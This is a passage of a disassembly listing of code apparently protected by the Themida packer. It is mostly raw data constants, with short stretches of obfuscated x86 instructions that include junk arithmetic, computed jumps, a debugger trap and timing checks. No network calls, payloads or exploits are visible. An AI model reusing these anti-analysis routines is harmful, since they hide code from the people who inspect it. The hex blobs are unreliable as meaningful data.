9AFEF5E5h, 0B3130CFCh, 0CD2B2515h, 5ECF302Fh, 75FEB036h dd 0FE03245h, 360CB715h, 8F72DC3Eh, 0FFAA3934h, 0FB033D8Eh dd 53FE4C69h, 0B620887Dh, 0F744E638h, 6D652B21h, 1AB2080Bh dd 0A93833B0h, 32F08DFEh, 0D321700Dh, 16FE86D9h, 7C6FD71Ch dd 40B13AE5h, 28DBC718h, 0E46FD927h, 0EDF65E73h, 5E61AF22h dd 21190803h, 0B7C27BFh, 28DD6AB2h, 9D63592Fh, 0E93F42A6h dd 8EF84E51h, 0E0B661AFh, 0FAEA88E6h, 0B0A200h, 0F7C080C2h dd 0C96F14h, 786B0000h, 8A7E6E0Ch, 9A928220h, 0B4AA9A38h dd 0CBC0B04Eh, 0F958C563h, 902E968Bh, 0A745A9A0h, 0C05EBEB7h dd 0DA78D6D0h, 0E1097ADBh, 0E875FEB1h, 150F83D5h, 5259B4B7h dd 129B24CFh, 0E90779A1h, 0C832806Fh, 0FB2C0C55h, 31CF1D69h dd 6712919Ch, 0EC6BBF6h, 797CCA70h, 0CD6BC9C3h, 3025E3DDh dd 0D76FC5C8h, 86ADBA2Ch, 181B8378h, 2D952EC2h, 227356C0h dd 3ED7A197h, 4C4FB9ADh, 3639A196h, 0D14020DFh, 0C2BB9132h dd 9F095F62h, 554F1EFEh, 52C34CF7h, 0C10A5F2Ah, 0FB79E331h dd 2FA0110Bh, 0C10A5F07h, 0DAD0C816h, 831B7174h, 6ED4CA80h dd 7555146Bh, 0B04EACA6h, 6568C6C0h, 0AC0h, 0A956E00h dd 0D3D64034h, 0FD7137Dh, 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh dd 0C07679DDh, 0AA6063CBh, 944A4DB5h, 7F35389Eh, 6C222587h dd 4D0B0E78h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push 563Dh mov [esp], edi push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx mov edi, 77CE1F45h push eax mov eax, 48CF7676h or eax, 278D0C82h xor eax, 43A1176Fh xor edi, eax pop eax and edi, 359406D2h shl edi, 2 inc edi shr edi, 3 sub edi, 2AA63F7h sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push 555Ch mov [esp], edx mov edx, 8 add edx, ecx mov [edx], edi pop edx push dword ptr [esp] pop ecx add esp, 4 push dword ptr [esp] pop edi add esp, 4 jmp loc_54EA15 ; --------------------------------------------------------------------------- db 45h, 0E2h, 0DEh dd 0CEBB2C5Eh, 0CCE2736Ch db 0DDh ; --------------------------------------------------------------------------- loc_581601: ; CODE XREF: Themida_:loc_580914j mov eax, 615AB4Ah add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 4EF9h dd 981C6851h, 8B866B17h, 0F9F25C20h, 945B7ABCh, 49234E68h dd 22E00907h, 0EC352A2Ch, 0AE161AF1h, 368D4784h, 3EFE505Eh dd 0F083471Ch, 1CFE5191h, 0CAB94B0Ah, 0F3370432h, 7E5D7Eh dd 0C43769BDh, 0D3AD59B1h, 0C2E21311h, 14E87331h, 74000000h dd 22EA62EEh, 82DA6C67h, 6DD22492h, 3D0EE036h, 8B9AE827h dd 8D0F5BD6h, 7, 1850Fh, 81FC0000h, 617CC3h, 9E900h, 21E80000h dd 149CC646h, 0BEEDA18Fh, 0 dd 0AD1CCF81h, 48B5274h, 0C081FC33h, 71D3555Ah, 5E8h, 0B57F3200h dd 0BF66895Dh, 8159CABAh, 579E99C0h, 0A3CA8046h, 2347F081h dd 8166698Bh, 502D45D2h, 8F0FE180h, 0BE83304h, 5000000h dd 9F8AEA9Ah, 4F37C041h, 0F5A3095h, 1C89h, 11E800h, 7CC0000h dd 0FDFA98Ch, 0D2FA7095h, 5009B593h, 66A035F2h, 0B2BEF181h dd 1EE835Fh, 98F8F8BFh, 4E4E4E43h, 4F9FD981h, 0FE813BB3h dd 0FFFF9F74h, 10850Fh, 28E90000h, 0B6000000h, 6A4B655Ah dd 1D1EB6A2h, 815013CBh, 56F92EC2h, 5FE95F5Bh, 85FFFFFFh dd 86FF56CEh, 630F9D23h, 0BF5C380Dh, 0E9A615D4h, 148h dd 78h, 7Ch, 80h, 84h, 88h, 8Ch, 90h, 94h, 0D8h, 0DCh dd 0E0h, 0E4h, 0E8h, 0ECh, 0F0h, 0F4h, 0F8h, 0FCh, 100h dd 104h, 108h, 10Ch, 110h, 114h, 38h dup(0) ; --------------------------------------------------------------------------- mov ah, 17h pop eax add bl, ch push eax mov ds:3E858D00h, al lodsd adc eax, 659D0906h sbb edx, [edx] push es mov [ebp+615AE7Eh], eax mov byte ptr [ebp+6122871h], 54h xor [ebp+6121165h], edx pusha jmp loc_5818CD ; --------------------------------------------------------------------------- db 72h, 0E3h, 34h ; --------------------------------------------------------------------------- stosd pushf or ebx, [edx] add [ecx+edx*2], ecx lodsd int 3 ; Trap to Debugger loc_5818CD: ; CODE XREF: Themida_:005818BCj add eax, [ebp+61231ADh] popa push 95134E3Dh push esi mov esi, 7E17FE97h pop edx add dword ptr [esp], 594F19ECh xor si, 8E71h push dword ptr [ebp+61230E9h] lea eax, [ebp+6157F35h] mov edx, 3513B547h call eax cld jl loc_58190C add [ebp+6121025h], edx loc_58190C: ; CODE XREF: Themida_:00581900j mov [ebp+615AE82h], eax jmp loc_581955 ; --------------------------------------------------------------------------- stc push esi mov esi, [ebp+615AE7Eh] mov [esi], eax add dword ptr [ebp+615AE7Eh], 4 pop esi retn ; --------------------------------------------------------------------------- pusha lea esi, [ebp+615AD3Eh] jmp short loc_581942 ; --------------------------------------------------------------------------- loc_581933: ; CODE XREF: Themida_:00581945j push esi push 0 push dword ptr [esi] call dword ptr [ebp+615AE82h] pop esi add esi, 4 loc_581942: ; CODE XREF: Themida_:00581931j cmp dword ptr [esi], 0 jnz short loc_581933 popa retn ; --------------------------------------------------------------------------- db 0Fh, 8Ah, 6 dd 89000000h, 121EB99Dh ; --------------------------------------------------------------------------- push es loc_581955: ; CODE XREF: Themida_:00581912j lea eax, [ebp+615AF14h] mov [ebp+61210C9h], eax jmp loc_581987 ; --------------------------------------------------------------------------- dw 5B73h dd 4A53h, 6 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_581987: ; CODE XREF: Themida_:00581961j jmp loc_581EDC ; --------------------------------------------------------------------------- dd 88269285h, 9C3AA498h, 0B452B4ACh, 0CA68CEC4h, 0DF7DE5DAh dd 0B0A51772h, 0C3BAAA48h, 0D8D1C15Fh, 0F0EADA78h, 94F5F492h dd 0FEB6FB23h, 9DEF0275h, 3A62D35Ch, 416FE907h, 0B7B189F3h dd 0ABA05659h, 2C02A543h, 8E66D036h, 0B58B3694h, 0B1D94ABBh dd 0B86FE907h, 79CFD26Ah, 7C762C0Fh, 0DCB21B1Eh, 928A82E4h dd 0FAEEC630h, 0DFD78D90h, 0CCC47A7Dh, 2CA5676Ah, 9D3EDD4Ch dd 696CD0C7h, 2808A913h, 84AC1DA6h, 8B6FE907h, 1FBD33Dh dd 1C1505A3h, 423B11BCh, 1F89DFE2h, 58B8B1A1h, 44A89F55h dd 4B2BEA41h, 8523837Ch, 0E9DD9B95h, 8E267C7Fh, 70D3A8Bh dd 5BC6FE9h, 7AFA5125h, 6141D81Dh, 98000000h, 6265CDC2h dd 0BA1C140Ch, 865C1450h, 0E7BF2991h, 0DDCD93EDh, 72AEC782h dd 5C86D7DAh, 0B6FE979h, 379F946Ah, 784C2CCDh, 0D81DED21h dd 168h, 1B0F0E00h, 4F8AEB1h, 0B1EFF89Eh, 0BE567221h, 0A90F05BBh dd 1FA849A6h, 0E9AD86AEh, 4F47956Fh, 9DF3F656h, 0E3B29233h dd 0F7E785EFh, 0AD019FFDh, 3A62D35Ch, 416FE907h, 0BCB189F3h dd 7A8D041h, 0C4BE6FE9h, 0C4B96766h, 6B03595Ch, 821A7A73h dd 6BD5C97Fh, 0B3934C68h, 0DC87EFE4h, 0A9AC0E06h, 7B6BE953h dd 6A202381h, 8F651072h, 0EACD3795h, 0C99D7D56h, 0D81D8082h dd 0C3A9h, 1A0F4F00h, 159507B2h, 0C5E046B6h, 0DF482B95h dd 26BDE556h, 7ECC6FE9h, 0E2443C14h, 58E182DFh, 0E926BFE7h dd 78E0D56Fh, 73D1CB79h, 18821A70h, 0D3C89777h, 0F4EAC06Bh dd 0B6A6248Eh, 31195DC1h, 0F3A2CA3Bh, 5BA96FE9h, 19676EC7h dd 3F157E81h, 8BE1E448h, 32359F93h, 0A49A72DCh, 0E4A73B3Eh dd 0E4A5B572h, 2F99D7F0h, 93DAAE8Eh, 0BAD81D92h, 6Fh, 0E3413B11h dd 0E4208AE0h, 3A62D35Ch, 416FE907h, 0BCB189F3h, 12E85154h dd 5CB2B51Dh, 0C1211AF2h, 0AD1108BEh, 3AFCF4AAh, 4548E042h dd 7436BDCh, 0FC4A6FE9h, 4EBD9D56h, 400FEFA8h, 375FD04Bh dd 9A6FE907h, 0E9070129h, 0BBBA086Fh, 0E337D56Dh, 2D9E1B0Fh dd 6FE90705h, 2B2EC614h, 0E907ADDAh, 0C5A55C6Fh, 1D7A9AF1h dd 1E1D8h, 0F870000h, 810AB517h, 0E907E810h, 3FA9F76Fh dd 291DF35Ch, 7BA314BFh, 826FE907h, 0F8F2CA34h, 8140979Ah dd 65DAD2A1h, 7436BDCh, 0FC4A6FE9h, 0E9074169h, 0F3594F6Fh dd 519B9AF0h, 13F188BAh, 10A84059h, 0F3EEDD72h, 0ACA199FBh dd 9001AC44h, 69FBB137h, 5F151866h, 79690765h, 0A076217Fh dd 0FBDE48A6h, 0FBAF80AAh, 4F2FE875h, 0E25B5BCDh, 0D464410h dd 73D1CBA3h, 8DEBE5D5h, 80DAD48Ah, 0A037432h, 45B016AAh dd 30A24DE5h, 7F7955CCh, 5FCF48Ah, 385437A1h, 0AB1D9F7Fh dd 33865FE9h, 24FC661Bh, 392ECC2Ah, 0DE3048E2h, 13429h dd 86F78000h, 75FBC95Eh, 79B51F6Dh, 35E0636Ah, 0FB347BC4h dd 7174C269h, 0C563C1BBh, 0F7534C22h, 81E44FB7h, 0B21CB4E1h dd 0DE86E0DAh, 0DA8E8F39h, 66CAC1B9h, 0CA750D63h, 989BFBF4h dd 3FF5D842h, 2EE4E745h, 1AD0D337h, 54BDC022h, 0FB0DBBE3h dd 0D574C275h, 71CF3E1Eh, 0F09D8B8h, 0C71E13B1h, 0EDE2F80h dd 43h, 0DC6F6AB4h, 0F9B8C031h, 0D9871016h, 0E5E880E0h dd 0E9066C94h, 350B6EEFh, 84DADD3Bh, 2599791Ah, 0DB41372Ah dd 3FEA82D8h, 16F8C6CEh, 0DFD3A990h, 20B82015h, 0EB89D7B6h dd 900Ch, 9F956B00h, 6A93CF39h, 0C435E063h, 69FB1BAFh dd 772D307Eh, 65C7BF7Dh, 453F2FCDh, 7493E4E7h, 0F275FB23h dd 908A5939h, 2486AE1Fh, 479575FBh, 986E11AFh, 57D43EA0h dd 0B122CD54h, 700EC735h, 2A9396E4h, 766BC7B8h, 0B21CBD69h dd 0D782E0DAh, 8E45765h, 81EBD1BAh, 0A888479Eh, 0FFAA3934h dd 0CED12F29h, 12830E78h, 6A03BE96h, 0B344A719h, 7255CF3h dd 0AEB11B0Fh, 0C50FEE58h, 112C0E43h, 8AECE44Ah, 1993187h dd 0F5EAC063h, 0CA348A8Dh, 52EA5C8Eh, 7C2E030Dh, 56D9C559h dd 23F97E92h, 0B2313CB9h, 0D61A9607h, 0A77D69FCh, 15B64AB2h dd 97E244FDh, 0FC4A2993h, 0EB4943F9h, 5635D4Dh, 0DB37E85Ah dd 0D405A166h, 0DA36876Ah, 8929C5C3h, 0B41E12E8h, 0FAC9A94Ah dd 21F7A200h, 6AC0C32Dh, 98928200h, 8B81373Ah, 0CCB2225h dd 5635D2Ch, 1F7D7767h, 3771Ch, 95250000h, 0B01C0F59h dd 9FFDF7ADh, 8DEDE69Ch, 79DDD48Ah, 63CBC076h, 4DB5AA60h dd 389E944Ah, 25877F35h, 0E786C22h, 89514D0Bh, 4C181E1h dd 83000000h, 0C8704E9h, 14895C24h, 9C36824h, 34890000h dd 3A5E6824h, 3C890000h, 0BF575524h, 67EB79E8h, 8B8544BDh dd 5FFD29ABh, 0A42AF581h, 0EE8945B5h, 3C8B545Dh, 4C48124h dd 83000000h, 348904ECh, 242C8124h, 34FB04C8h, 8108478Fh dd 4C80847h, 3C8B34FBh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_54EA15 ; --------------------------------------------------------------------------- dd 8C5E3ED4h, 52F1BD56h, 0F4121BAAh ; --------------------------------------------------------------------------- loc_581EDC: ; CODE XREF: Themida_:loc_581987j mov eax, 615B43Ch add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0BEh, 0F1h, 32h dd 4F902349h, 0C197550Bh, 0B79C847Bh, 0C9EFAA78h, 99AA5D32h dd 43685832h, 0EC5A1B44h, 0BD42E87Bh, 3BF4E7Bh, 10EF8C2Ch dd 0D17B266Eh, 0EC63880Bh, 0EE1DCC4Ah, 0F1DEC302h, 3ABF1D06h dd 60EE9E2Fh, 649BC857h, 0F5ECF7Fh, 0EEECAA30h, 0FD817627h dd 0BF34EF72h, 0EC7ADC4Ch, 0ABBF60Fh, 0AFD48F18h, 5CF57367h dd 0AE259761h, 96BB2503h, 0EDD55D65h, 8F4FEB59h, 0ABFA251Ch dd 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h, 27CE1BF5h dd 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh, 0D09500A6h dd 0EA1A0047h, 0D5A3h, 199C0000h, 0FECBh, 0FBFE49h, 0B4870000h dd 202352DDh, 339C9ED9h, 4EE977E7h, 6A000012h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0AAD6C350h, 0B6296467h, 0F79440Bh, 380h, 0D0BF0F00h dd 35D18166h, 0ADBD83CCh, 61207h, 33850Fh, 85890000h, 6121895h dd 0B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 8B7804D5h, 12191595h, 4C206h, 6AC08BFCh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0E456C356h, 0B53F6118h, 7CF18166h, 91BD8314h dd 6121Bh, 0BD830975h, 61217DDh, 50137400h, 0B8C08B53h dd 4D0h, 0ABE39D8Dh, 0D3FF0614h, 0BD83585Bh, 61217DDh dd 50117400h, 4D0B853h, 9D8D0000h, 614AB30h, 585BD3FFh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 4DC35343h dd 29181CEBh, 48AEF3A2h, 0C58D8BACh, 52061207h, 9BD8D09h dd 8B5A0612h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 8B6622F1h, 0FD8D8BFBh, 8D06121Ch dd 15B58885h, 0DE906h, 8C4E0000h, 0C3CC8826h, 0CFC89E1Dh dd 0FEF76AAh, 481h, 0A1B96600h, 0FE8B5044h, 6A240489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0F2E7C356h, 95892FF2h, 612033Dh, 0B545858Dh dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0B589ABC3h, 6121185h, 18818589h, 0F900612h dd 8Ch, 52505000h, 0CB8B310Fh, 6A90585Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0E2A7C355h dd 23ECD4F8h, 10E983h, 0D3870000h, 6C948130h, 0BB236411h dd 821231B7h, 95FF219Ah, 612109Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 87C35141h, 8055E58Dh, 448BEBD9h dd 6A0424h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 5FF2C2C3h, 0E80DB200h, 0Ch, 0D0C1D39h, 0E2C7C5DBh dd 0F3FD09D8h, 7085895Fh, 6A0615B5h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 4CE9C350h dd 0F85D8A20h, 0FC9D7C59h, 824448Bh, 774C56BFh, 84858900h dd 830615B5h, 120881BDh, 850F0006h, 0E9h, 0FE9h, 860C0000h dd 2ABD262h, 5B0D8C2Bh, 3D79FC14h, 287185C6h, 6A470612h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 5CADC353h, 9B32F482h, 68D7BF0Fh, 90278BEBh dd 842C22BFh, 2434811Ah, 44BD2C39h, 1C49BD89h, 0B5FF0612h dd 61230E9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 32C35646h, 4B55B80Ah, 0FDBD297Ah, 8906121Ch, 1219ED8Dh dd 35858D06h, 6A06157Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0C680C351h, 8BD0FFF8h dd 1219E995h, 81858906h, 6A061208h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0F2FEC357h dd 5F7AB4E3h, 66A31218h, 314E1DB9h, 12229D95h, 0E1BD8306h dd 61209h, 8E850Fh, 10E90000h, 10000000h, 16C5488Dh, 0E144331Dh dd 0DD645BFDh, 0C6788433h, 12287185h, 8D014706h, 6120035h dd 0E3FF8768h, 57525075h, 0F596160h, 9BF6631h, 81585A5Fh dd 0B65B2404h, 9D31142Bh, 6123025h, 23D58589h, 0B5FF0612h dd 61230E9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 2CC35040h, 56A86EF8h, 8D1B501h, 8D590612h, 157F3585h dd 0D9B58906h, 0FF061209h, 0EA8166D0h, 85894DE0h, 61209E1h dd 2FEDBD83h, 0F000612h, 0B285h, 4D950100h, 0C6061203h dd 12287185h, 0BF665606h, 4E89383h, 39000000h, 57D41F6Dh dd 0EE860h, 0AF390000h, 1DAB0340h, 59FB0EF6h, 0FD812B6Dh dd 6159575Ah, 0E860505Ah, 7, 8A0F85Eh, 0F979267h, 83h dd 8B615F00h, 8B042444h, 89D68B00h, 60042444h, 5F616057h dd 0EA8A5861h, 30E9B5FFh, 81BA0612h, 8D1F2425h, 157F3585h dd 0A9858906h, 0FF061200h, 56006AD0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0B5D03910h dd 0AB969D48h, 8B663466h, 0ED8589FEh, 0F06122Fh, 687h dd 0A8EF8100h, 0C6294D40h, 12287185h, 6A6C06h, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 90C9FBC3h, 0BD8B581Ah, 6120975h, 1879B589h, 48680612h dd 0BA90C1DAh, 60AB17C1h, 0CB243481h, 804BC4AAh, 0B5FFCEEAh dd 61203B1h, 8DC8E980h, 123B5D85h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 10E9F5h, 0D0C90000h dd 0D4994965h, 69B3DA1Fh, 36156413h, 0D0FF4A58h, 9921E981h dd 85896068h, 615B574h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 5C35242h, 0DCADA1CFh, 0F30454Ch, 198Ah dd 138F0F00h, 0E9000000h, 0Eh, 47026FF3h, 8C2D1BBBh, 0C960904Fh dd 0BD83F69Fh, 615B590h, 18850F00h, 6A000001h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 8B10C357h, 120E41BDh, 7185C606h, 49061228h, 6880Fh dd 9D890000h, 6121319h, 22F99D89h, 54680612h, 60518008h dd 13E8h, 0AC952300h, 22D68A0Bh, 0D4D5A0DBh, 0F5ABDB4Bh dd 0CC493E19h, 12E8h, 0D3C65700h, 5D297DC1h, 22946FD5h dd 40E66161h, 582B12D0h, 5052505Eh, 5A310F52h, 60310F58h dd 61585A61h, 95240481h, 8B3A9521h, 0B1B5FFFAh, 6A061203h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0A7EDC356h, 33D25209h, 120E89BDh, 5D858D06h dd 8906123Bh, 1201599Dh, 6AD0FF06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 5A3DC355h dd 0F15A1A1Ah, 0F781EC71h, 49BE70FCh, 0B5908589h, 6A0615h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0CFB73C3h, 59212533h, 6AF3299Bh, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 80893330h dd 2B8B5C44h, 0B96686F7h, 0D08B0ADDh, 8E287568h, 52506040h dd 310FCA8Bh, 585AA8B2h, 8161FA8Ah, 38752434h, 0DD80408Eh dd 4E891h, 0 dd 0BF660001h, 665061BDh, 448BC88Bh, 0E3B50424h, 8B53008Bh dd 448959FAh, 0BA500424h, 39E854CAh, 8589585Fh, 61210B1h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 35FC70C3h, 5595898Ah, 0FF061231h, 12108195h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0FB1CBCBh, 22CB86D7h, 0B5099C3Eh, 61206D9h dd 185BD31h, 85890612h, 615B580h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 80C35343h, 7885C730h, 615B5h dd 81000000h, 5F459BC2h, 6A006A75h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 9EF9C353h dd 0FFD439CCh, 667DE6B4h, 0E84400BFh, 4, 10000h, 0B250CA8Bh dd 24448BBEh, 88A0F04h, 0F000000h, 281h, 8B616000h, 8EB96600h dd 2444892Bh, 5E804h, 0EA7C0000h, 0E8B3847Ch, 11h, 83A94881h dd 0BB466CD3h, 0E83462C8h, 3FB310A1h, 11E8D7h, 59940000h dd 0E10A15D0h, 561CA90Bh, 31F4D7CDh, 5F7FB5B1h, 6A585F59h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 3777C350h, 687332FCh, 8B532D27h, 8B5059FAh dd 240489D0h, 68F0Fh, 95290000h, 61201C5h, 95890B6Ah, 6121085h dd 0B54D858Dh, 0B70F0615h, 8B6690F8h, 525050CBh, 5E8h dd 0F8C6D00h, 800F0978h, 0 dd 0E8310F5Ah, 0Bh, 0D391F37Bh, 4097E89Ah, 0FFFD95Bh, 85h dd 585A5F00h, 0F9958B90h, 0FF06122Dh, 12088195h, 8DD18B06h dd 15B557B5h, 3840F06h, 0F000000h, 5050CBB7h, 9E86052h dd 0C5000000h, 1DCF310Ah, 4FF78A32h, 310F615Eh, 2870Fh dd 0F88B0000h, 3489585Ah, 0CA816624h, 0F50AAE0h, 87h, 24048900h dd 87D9503h, 95FF0612h, 61209E1h, 0A91F2B9h, 0C00BF558h dd 19850Fh, 33600000h, 12142D85h, 0E1B52906h, 61061208h dd 6BDE9h, 6D950100h, 0FF061211h, 0D78B66D0h, 0B580B58Bh dd 0D58A0615h, 20468DF9h, 541958Bh, 46A0612h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 33C35343h, 0D9818233h dd 57732AF4h, 0B156B950h, 4891037h, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0A1E4250Ch dd 0CF8AA134h, 0B59095FFh, 55BF0615h, 0B693501h, 31840FC0h dd 0F000000h, 33E9FFB7h, 6A000006h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0FE9CC351h dd 0C181661Ch, 9589155Eh, 6121069h, 207E80h, 600840Fh dd 0BA660000h, 31600E1Ch, 12000DB5h, 20468D06h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0AFC35141h, 95E0C321h dd 820BC4EBh, 2AF18D8Bh, 85890612h, 615B57Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0E0C35040h, 61067BFBh dd 8B6660DDh, 418D89D9h, 6106121Bh, 58589h, 0AE90612h dd 6A000001h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0F62BC350h, 0A9958BDCh, 40061201h dd 198F0Fh, 8B0F0000h, 13h, 0EE9h, 0C3B2F600h, 0CD33346Bh dd 7AD95CD2h, 901FF282h, 0AE8h, 98D1CF00h, 45E053F6h, 66067C4Ch dd 505AD08Bh, 0D08B6660h, 4359BB66h, 46A9061h, 2820Fh dd 0A7B50000h, 60606090h, 615E5661h, 5061FB8Bh, 2D4FBA66h dd 7F41BA90h, 95FF3F42h, 615B590h, 7E9h, 8FFA9700h, 5D91D5B7h dd 2FF18D31h, 0D88B0612h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 9CA44304h dd 8B5CFA72h, 1222C58Dh, 0FDB0B06h, 3C84h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 74BD6BCAh, 0C8E845B4h, 0BCB5A4E9h, 0E9D08B66h, 48Eh dd 8E9h, 0B9BA7900h, 78761D2Bh, 388056h, 0FF11850Fh, 0C88AFFFFh dd 46E9h, 6A4800h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0D20927C3h, 46747780h, 1D870Fh dd 0B7600000h, 14E9A7h, 0B0930000h, 50CAB4F3h, 5942704Dh dd 0D5487DC6h, 13734BACh, 3B61F9D6h, 15B57C85h, 3E820F06h dd 29000000h, 122DBD95h, 5C388006h, 2F840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0ED7D1DC3h, 388049F8h, 76850F2Fh, 33FFFFFFh, 122ACD95h dd 0F604006h, 168Ch, 10E800h, 7B7D0000h, 6BB8E070h, 2BD1C04Bh dd 9EF1B1B5h, 665FDF74h, 613CD2BBh, 0B584BD83h, 0F000615h dd 18584h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 6049E44Dh, 0FE9h, 274E4500h, 0B20CCC23h dd 0CAC4FC91h, 0FF7A5440h, 1009B589h, 0F610612h, 0B529D0BFh dd 6123079h, 50BEB590h, 90CE8B66h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 83C35343h, 0B5898260h, 61221B5h dd 0B5848503h, 9D890615h, 6120939h, 0A70CE781h, 60502C6Ch dd 28C0Fh, 0D78B0000h, 24048961h, 11D58D8Bh, 46A0612h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 72C35747h dd 99B498EFh, 0C6BA6609h, 901CB560h, 0F27B160h, 48Ch, 3ABE6600h dd 505061A7h, 0F43B552h, 5AF48A31h, 6A9058h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 2BCB75C3h dd 0B345A1B7h, 0B59095FFh, 5FBA0615h, 8B747229h, 99BD29D8h dd 5806122Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0D5C35242h, 0DAEE5CB9h, 8BB9E89Ch, 122FFDBDh, 0FDB0B06h dd 3284h, 13E95200h, 0C1000000h, 27065902h, 3E2FEEEBh dd 0BBB29E07h, 0B44E4084h, 0E959A6A7h, 252h, 0EE9h, 0D49AE700h dd 33B05346h, 0B02BB609h, 0C6AB695Bh, 800F0000h, 3, 585ECD80h dd 0D4D9501h, 53500612h, 0EE9h, 5BE1FA00h, 0C889EB88h dd 9335F770h, 5AD607C6h, 6A240489h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 3269C351h dd 8ACCDAFEh, 6A1E6AF3h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 556AC353h, 31A2C705h dd 0D38B6617h, 50535290h, 5A310F52h, 505F5958h, 0D19D8990h dd 0FF061223h, 15B59095h, 0BE806h, 0D1A40000h, 16B27B07h dd 0AFC5332Ch, 25B5895Ch, 5F061229h, 6AD88Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 5F2549C3h dd 68F1539Dh, 817C42E5h, 0F5C2BCAh, 6A585Dh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 3BC4FC3h dd 7EB79247h, 0DB0BFA8Bh, 2F840Fh, 0CA8B0000h, 139E9h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 3F281ABh, 8924E4C1h, 1209B5BDh, 52505006h dd 8264BF66h, 97B5310Fh, 489585Ah, 3D8D2924h, 0FF061211h dd 15B570B5h, 0FFFB8B06h, 15B57495h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 9C8324C9h dd 10E8F323h, 7C000000h, 93C4B3C7h, 0BDB3EE27h, 2D60D44Ch dd 89614D73h, 121AAD8Dh, 0C00B5F06h, 4A850Fh, 0CA810000h dd 3BCC5070h, 7840F61h, 57000000h, 0C7A520B9h, 85C7592Dh dd 615B578h, 1, 83E98FB1h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0FB6EC351h dd 